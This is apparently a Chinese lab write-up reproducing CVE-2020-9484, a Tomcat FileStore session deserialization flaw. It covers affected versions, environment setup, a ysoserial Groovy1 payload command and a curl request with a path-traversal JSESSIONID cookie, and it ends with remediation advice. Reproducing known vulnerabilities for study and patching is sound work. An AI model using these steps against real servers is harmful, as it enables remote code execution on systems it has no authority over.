CVE-2020-9484 Tomcat Session 反序列化复现

一、漏洞概述

  Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。漏洞条件比较苛刻:

  • tomcat必须启用session持久化功能FileStore
  • tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget
  • 在服务器上存在已知路径文件内容可控

——引自这里

 

二、影响版本
  • Apache Tomcat: 10.0.0-M1 to 10.0.0-M4
  • Apache Tomcat: 9.0.0.M1 to 9.0.34
  • Apache Tomcat: 8.5.0 to 8.5.54
  • Apache Tomcat: 7.0.0 to 7.0.103

 

三、漏洞原理

  这里主要是 FileStore 的 LFI 漏洞可以反序列化任意路径上的 .session 文件, 如果同时存在 文件上传漏洞的话就是 RCE 了。这里引入大佬的原文——https://www.safedog.cn/news.html?id=4456

 

四、漏洞复现环境

  Vulfocus上关于这个漏洞的环境好像有些问题(也可能是我太菜了~),外加复现此漏洞并不需要多么复杂的环境,就自己搭建一个好了~~

  Tomcat version:Tomcat 10.0.0-M4(服务器就搭建在kali上了)

 

五、实验步骤

1.搭建实验环境

(1)下载Tomcat相应的版本,且解压到/usr/local/tomcat文件中(新建)

1 wget https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz
2 mkdir /usr/local/tomcat
3 tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/ 

(2)修改/usr/local/tomcat/apache-tomcat-10.0.0-M4/conf/context.xlm 添加Manager(session 持久化设置)

   <Manager className="org.apache.catalina.session.PersistentManager">
            <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
    </Manager>

(3)在/usr/local/tomcat/apache-tomcat-10.0.0-M4/lib/目录下下载groovy-2.3.9.jar包(别的包也可以,比如commons-collections4-4.0.jar,不过换包的话,后面对应生成的payload命令也要相应变一下,这里注意)

wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar

(4)运行Tomcat

/usr/local/tomcat/bin/catalina.sh start

2.漏洞复现

(1)这里自己就搞不定了,用一下大佬的工具——ysoserial来生成java反序列化 payload 的 .jar 包

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Groovy1 "touch /tmp/wavesky" > /tmp/wavesky.session 

前面用的不是groovy-2.3.9.jar包的话,这里可以看一下相应的命令——https://github.com/angelwhu/ysoserial

 

 

吐槽一下:作为一个立志想要维护一个世界级开源项目,方便更多人,充分发扬互联网共享精神的现阶段的菜鸟来说,实在是看不惯把别人开源的项目拿出来为己谋私的事情(各位老板们别喷,我看不惯也就只看不惯而已……你反对那就是你对,我墙头草的~)

因为这里的ysoserial在git clone之后打jar包的时候,很容易打不出来(大概率是环境问题,镜像恢复之前,大概是javac等环境都存在的时候就打出来了,这里就不重新安装环境了,以后再说吧~)。所以我把用到的工具分享在此,如果觉得github太慢,可以走网盘,链接失效了的话评论区喊我一下~

(2)上传命令(联合上一步,就可以在/tmp目录下创建一个wavesky文件)

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/wavesky'

(3)就是这个效果~

 

 

六、修复方式

对比 Tomcat 10.0.0-M4 和 Tomcat 10.0.0-M5 的 FileStore 源码可以发现做了目录验证。  

修复方式就是升级,或者配置WAF,过滤掉../之类的字符串,或者不使用 FileStore。——https://www.safedog.cn/news.html?id=4456

 

七、补充

 这里引入一个反序列化原理的文章——https://blog.csdn.net/hilaryfrank/article/details/104450106

posted @ 2022-07-01 22:11  wavesky  阅读(2831)  评论(0编辑  收藏  举报